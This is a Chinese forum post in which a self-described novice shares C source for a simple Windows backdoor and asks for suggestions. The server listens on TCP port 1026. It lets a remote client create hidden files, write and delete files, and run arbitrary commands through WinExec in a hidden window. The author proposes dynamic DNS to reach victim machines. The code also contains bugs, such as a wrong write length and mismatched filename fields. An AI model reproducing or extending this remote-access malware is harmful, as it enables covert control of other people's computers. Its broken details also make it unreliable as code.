这是小菜使用winsock编写的一段C/S程序,使用TCP协议,实现了简陋的后门,
当然大家要是有想法的话可以吧这个程序进一步完善。
程序的功能:
创建文件
写入文件
删除文件
执行命令
当然,小菜我设计的不够好,有些功能重复了。
比如说就不需要创建文件了。直接写入文件。在写入文件的时候直接总是方式创建。
还有服务器连接这里,可以做成域名解析类型的。
使用花生壳动态域名解析下本地进行更新DNS记录。
过多的我不说了,毕竟我还是小菜。
哦最终要的是我想要个邀请码。大大给个吧。
代码附上。
也希望大家能提些建议呀!
下面简单的介绍下我的挫作。
//head.h
/*****************************************
数据包头文件,定义了数据包的格式
*****************************************/
#ifndef _HEAD_H_
#define _HEAD_H_
#define WSADATA_LOW 2
#define WSADATA_HIGH 2
#define PORT 1026
typedef struct _MESSAGE
{
char OpeCode; //操作指令
char FileName[256]; //操作文件时的文件名
char Content[1024]; //写入文件的内容
} MESSAGE, *PMESSAGE;
#endif
Server端代码:
//几个功能函数
void NewFile(char *); //新建文件
void InputFile(char *, char *); //写入文件
void DelFile(char *); //删除文件
void Exec(char *); //执行命令 winexec执行的
主要代码:
WSADATA wsaData;
SOCKET SKBind,SKLink;
SOCKADDR_IN SAServer,SAClient;
int addr_len = ADDR_LEN;
MESSAGE Msg;
if(WSAStartup(MAKEWORD(WSADATA_LOW,WSADATA_HIGH),&wsaData)) //装载Winsock库
{
printf("WsaStartup Err!\n");
return;
}
SKBind = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP); //创建套接字
if(SKBind == INVALID_SOCKET)
{
printf("Create socket Err!\n");
return;
}
SAServer.sin_family = AF_INET;
SAServer.sin_addr.S_un.S_addr = INADDR_ANY;
SAServer.sin_port = htons(PORT);
if(bind(SKBind,(SOCKADDR *)&SAServer,sizeof(SAServer))) //绑定套接字
{
printf("Bind Server Err!\n");
return;
}
if(listen(SKBind,3)) //监听
{
printf("Listen Err!\n");
return;
}
SKLink = accept(SKBind,(SOCKADDR *)&SAClient,&addr_len); //接受连接
if(SKLink == INVALID_SOCKET )
{
printf("Err Occur!\n");
return;
}
while(true)
{
memset(&Msg,0,sizeof(Msg));
if(recv(SKLink,(char *)&Msg,sizeof(MESSAGE),0) != sizeof(MESSAGE)) //接收数据
{
printf("Error Occur!");
return;
}
switch(Msg.OpeCode)
{
case 'C':
NewFile(Msg.Content);
printf("New File OK!\n");
break;
case 'I':
InputFile(Msg.Content,Msg.FileName);
break;
case 'D':
DelFile(Msg.Content);
break;
case 'E':
Exec(Msg.Content);
break;
case 'Q':
break;
default:
break;
}
}
closesocket(SKBind); //关闭套接字
closesocket(SKBind);
WSACleanup(); //卸载Winsock库
//几个功能函数的实现
void NewFile(char * filename)
{
HANDLE filehandle;
filehandle = CreateFile(filename,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL);
CloseHandle(filehandle);
}
void InputFile(char *content, char *filename)
{
HANDLE filehandle;
filehandle = CreateFile(filename,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL);
DWORD dwWrite = 0;
WriteFile(filehandle,(LPCVOID)content,sizeof(content),&dwWrite,NULL);
CloseHandle(filehandle);
}
void DelFile(char *filename)
{
DeleteFile(filename);
}
void Exec(char * command)
{
WinExec(command,SW_HIDE);
}
Client端代码:
上面的我都注释很多了。这里就不做注释了。
关键的地方我提及下。
SOCKET SKLink;
WSADATA wsaData;
SOCKADDR_IN SALink;
if(WSAStartup(MAKEWORD(WSADATA_LOW,WSADATA_HIGH),&wsaData)) //装载Winsock库
{
printf("WsaStartup Err!\n");
return;
}
SKLink = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //创建套接字
SALink.sin_family = AF_INET;
SALink.sin_addr.s_addr = inet_addr("127.0.0.1");
SALink.sin_port = htons(PORT);
if(connect(SKLink,(SOCKADDR *)&SALink, sizeof(SALink))) //连接server端
{
printf("Connect Err!\n");
return;
}
MESSAGE Msg;
while(true)
{
memset(&Msg,0,sizeof(MESSAGE));
Msg.OpeCode = getchar();
switch(Msg.OpeCode)
{
case 'C':
printf("input new filename. \r\n");
scanf("%s",Msg.Content);
break;
case 'I':
printf("input your filename. \r\n");
scanf("%s",Msg.FileName);
fflush(stdin);
printf("input your content. \r\n");
scanf("%s",Msg.Content);
break;
case 'D':
printf("input your filename. \r\n");
scanf("%s",Msg.FileName);
break;
case 'E':
printf("input your command. \r\n");
scanf("%s",Msg.Content);
break;
case 'Q':
goto end;
default:
break;
}
if(send(SKLink,(char *)&Msg,sizeof(struct _MESSAGE),0) == SOCKET_ERROR) //发送消息
{
printf("Err Occured!");
goto end;
}
}
end:
closesocket(SKLink);
WSACleanup();
PS:各位大大们尽情的拍我吧。
[课程]Linux pwn 探索篇!